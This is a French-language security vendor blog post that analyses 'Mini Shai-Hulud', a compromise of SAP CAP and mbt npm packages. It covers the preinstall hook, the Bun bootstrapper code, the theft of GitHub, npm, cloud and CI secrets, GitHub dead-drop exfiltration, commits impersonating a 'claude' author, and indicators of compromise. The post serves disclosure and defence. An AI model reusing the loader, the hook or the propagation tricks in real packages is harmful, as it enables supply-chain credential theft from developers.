Aikido

Mini Shai-Hulud cible les packages npm SAP avec un voleur de secrets basé sur Bun

Écrit par
Raphael Silva

Une nouvelle compromission de la chaîne d'approvisionnement npm cible l'écosystème des développeurs SAP.

Les packages affectés que nous suivons jusqu'à présent sont :

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Le schéma est familier mais aussi un peu différent : un package de confiance reçoit un nouveau preinstall hook, le hook exécute un nouveau setup.mjs fichier, et ce chargeur télécharge le runtime JavaScript Bun pour exécuter une charge utile obfusquée volumineuse nommée execution.js.

La charge utile est un voleur de credentials et un framework de propagation de 11,7 Mo. Il collecte les credentials de développeurs locaux, les tokens GitHub et npm, les secrets GitHub Actions et les secrets cloud d'AWS, Azure, GCP et Kubernetes. Il exfiltre ensuite les résultats chiffrés via des dépôts GitHub publics.

Le malware nomme ces dépôts avec une description codée en dur :

Un Mini Shai-Hulud est apparu

Ce qui s'est passé

Les packages compromis utilisent l'exécution du cycle de vie npm. D'après ce que nous avons vu jusqu'à présent, package.json a été modifié pour ajouter :

"scripts": {
    "preinstall": "node setup.mjs"
}

Cela signifie que le code malveillant s'exécute automatiquement pendant npm install, avant même que l'installation ne soit terminée.

Le paquet malveillant ajoute deux fichiers :

  • setup.mjs
  • execution.js

Le code du paquet normal ressemble toujours au paquet SAP légitime. Dans l' @cap-js/sqlite@2.2.2 échantillon, les fichiers ordinaires correspondent à la version propre @cap-js/sqlite@2.2.1 octet par octet. La compromission réside dans le hook d'installation et les fichiers de charge utile ajoutés.

Point d'entrée probable

Un indice public pointe vers une cause probable : un jeton npm exposé aux builds de PR via CircleCI.

Cela correspond à ce que nous avons trouvé dans SAP/cloud-mta-build-tool. Le 29 avril, un PR brouillon de courte durée intitulé feat: accélération de la CI a été ouvert depuis gruposbftechrecruiter/harkonnen-navigator-149. La PR a été fermée en quelques minutes et la branche a ensuite été poussée en force, laissant le diff GitHub actuel vide.

CircleCI a tout de même conservé la partie importante. Un build de PR sur pull/1223 a extrait le commit a959014aa7b7fc37a9b5730c951776e7db2920a6, qui a ajouté un chargeur Bun à bin/config.mjs, a ajouté une charge utile obfusquée à bin/mbt.js, et a modifié la commande de test en :

node ./bin/config.mjs && node ./bin/mbt

Ce test a été exécuté dans un job de PR où CircleCI a listé des secrets de projet expurgés, y compris CLOUD_MTA_BOT_NPM_TOKEN, CLOUD_MTA_BOT_GITHUB_TOKEN, jetons OIDC CircleCI, identifiants Docker Hub, identifiants Cloud Foundry et autres variables liées aux releases.

Les logs affichaient également des avertissements Octokit pour POST https://api.github.com/user/repos, ce qui correspond au comportement d'exfiltration GitHub du malware.

Cela fait de la build PR CircleCI la piste la plus solide pour le vol initial d'identifiants.

Comment le malware s'exécute

La première étape, setup.mjs, est un bootstrapper Bun. Il vérifie le système d'exploitation et l'architecture, télécharge Bun 1.3.13 depuis GitHub si nécessaire, extrait le binaire et utilise Bun pour exécuter execution.js.

const BUN_VERSION = '1.3.13';
const ENTRY_SCRIPT = 'execution.js';
const url = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${asset}.zip`;
execFileSync(binPath, [entryScriptPath], { stdio: 'inherit', cwd: SCRIPT_DIR });

La deuxième étape, execution.js, est une seule et grande charge utile obfusquée. Elle utilise une couche de brouillage de chaînes de caractères personnalisée, étiquetée ctf-scramble-v2, vérifie si elle s'exécute en CI, se termine sur les paramètres de locale russe et se daemonise sur les machines non-CI.

Ce qu'il dérobe

La charge utile est conçue pour cibler à la fois les ordinateurs portables des développeurs et les runners CI/CD.

Elle tente de collecter :

  • Les tokens GitHub, y compris la sortie de gh auth token
  • Les tokens npm de .npmrc
  • variables d'environnement
  • secrets GitHub Actions
  • Identité AWS STS, secrets Secrets Manager et paramètres SSM
  • Abonnements Azure, noms de Key Vault et valeurs de secrets Key Vault
  • Identité du projet GCP et valeurs de Secret Manager
  • Jetons de compte de service Kubernetes
  • Fichiers de configuration Claude, configuration MCP, bases de données de jetons GCP, caches de jetons Azure, configuration Signal, portefeuilles Electrum et fichiers de configuration VPN

Le chemin GitHub Actions est particulièrement préoccupant. La charge utile inclut un assistant Python intégré qui recherche /proc le Runner.Worker processus, lit sa mémoire et extrait les structures de secrets masquées du runner.

Mot-clé d'exfiltration et de propagation GitHub

Le malware utilise GitHub comme canal d'exfiltration.

Le nouveau mot-clé de propagation est :

OhNoWhatsGoingOnWithGitHub

Le malware recherche cette chaîne dans les commits GitHub et utilise les messages de commit correspondants comme point de dépôt de jetons. Les messages de commit correspondant à OhNoWhatsGoingOnWithGitHub:<base64> sont décodés en jetons GitHub et vérifiés pour l'accès au dépôt.

Lorsque le malware peut créer un dépôt, il utilise des noms aléatoires sur le thème de Dune, et définit la description du dépôt à :

Un Mini Shai-Hulud est apparu

et écrit les fichiers de résultats chiffrés sous :

results/results-<timestamp>-<counter>.json

Les données sont compressées et chiffrées avant le commit en utilisant AES-256-GCM, la clé AES étant encapsulée par une clé publique RSA intégrée.

Logique de propagation

La charge utile contient une logique de propagation à travers les workflows de développement et de release.

Dans les échantillons analysés, le malware vérifie l'automatisation de release GitHub Actions liée à cap-js/cds-dbs. S'il détecte un workflow de release dans ce contexte de dépôt, il peut modifier un tarball de package en :

  • copiant la charge utile actuelle dans execution.js
  • écrivant setup.mjs
  • paramètre scripts.preinstall = "node setup.mjs"
  • incrémenter la version de patch
  • reconditionnement du tarball

Il tente également d'utiliser des jetons GitHub Actions volés pour pousser des fichiers dans les dépôts :

  • .vscode/tasks.json
  • .vscode/setup.mjs
  • .claude/execution.js
  • .claude/setup.mjs
  • .claude/settings.json

Ces commits utilisent :

chore: mise à jour des dépendances

avec l'auteur :

claude <claude@users.noreply.github.com>

SAP comme cible

Les packages ciblés s'intègrent dans les workflows de développement SAP habituels. @cap-js/sqlite, @cap-js/postgres, et @cap-js/db-service font partie de l'écosystème de base de données SAP CAP, tandis que mbt est utilisé dans les workflows de build SAP Cloud MTA.

Cela rend cette campagne limitée en nombre de packages mais potentiellement à fort impact. Ces packages sont susceptibles de s'exécuter sur les machines des développeurs et les runners CI qui ont accès à GitHub, npm, aux identifiants cloud et aux secrets de déploiement d'entreprise.

Détection et atténuation

Recherchez dans les lockfiles, les caches de packages, les logs CI, les registres internes, les dépôts d'artefacts et les machines de développeurs les éléments suivants :

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48
  • setup.mjs
  • execution.js
  • preinstall scripts actifs node setup.mjs
  • Bun 1.3.13 téléchargements lors de l'installation du package

Rechercher sur GitHub :

  • résultats de recherche de commits pour OhNoWhatsGoingOnWithGitHub: https://github.com/search?q=OhNoWhatsGoingOnWithGitHub&type=commits
  • dépôts avec description Un Mini Shai-Hulud est apparu
  • commits contenant OhNoWhatsGoingOnWithGitHub
  • commits intitulés chore: mise à jour des dépendances
  • commits rédigés par claude <claude@users.noreply.github.com>
  • inattendu .claude/ ou .vscode/setup.mjs fichiers
  • results/results-*.json fichiers dans les dépôts publics nouvellement créés

Si un package affecté a été installé, faites pivoter les secrets. Ne limitez pas la rotation aux jetons npm. La charge utile cible GitHub, npm, les fournisseurs cloud, Kubernetes, les secrets CI et les outils de développement locaux.

Comment Aikido détecte cela

Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.

Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.

Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.

Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.

Indicateurs de Compromission

Packages affectés :

  • @cap-js/sqlite - v2.2.2
  • @cap-js/postgres - v2.2.2
  • @cap-js/db-service - v2.10.1
  • mbt@1.2.48

Hashes de l'échantillon analysé @cap-js/sqlite@2.2.2 échantillon :

  • setup.mjs: 4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34
  • execution.js: 6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95
  • dumper de mémoire de runner GitHub intégré : 29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7

Chaînes et marqueurs :

  • Un Mini Shai-Hulud est apparu
  • OhNoWhatsGoingOnWithGitHub (mot-clé de propagation / marqueur de dépôt mort de commit GitHub)
  • ctf-scramble-v2
  • tmp.987654321.lock
  • chore: mise à jour des dépendances
  • claude@users.noreply.github.com

URLs et points de terminaison :

  • hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
  • hxxps://api.github[.]com/search/commits?q=OhNoWhatsGoingOnWithGitHub&sort=author-date&order=desc&per_page=50
  • hxxp://169.254.169.254
  • hxxp://169.254.170.2
  • hxxp://[fd00:ec2::254]

Partager :

https://www.aikido.dev/blog/mini-shai-hulud-has-appeared

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.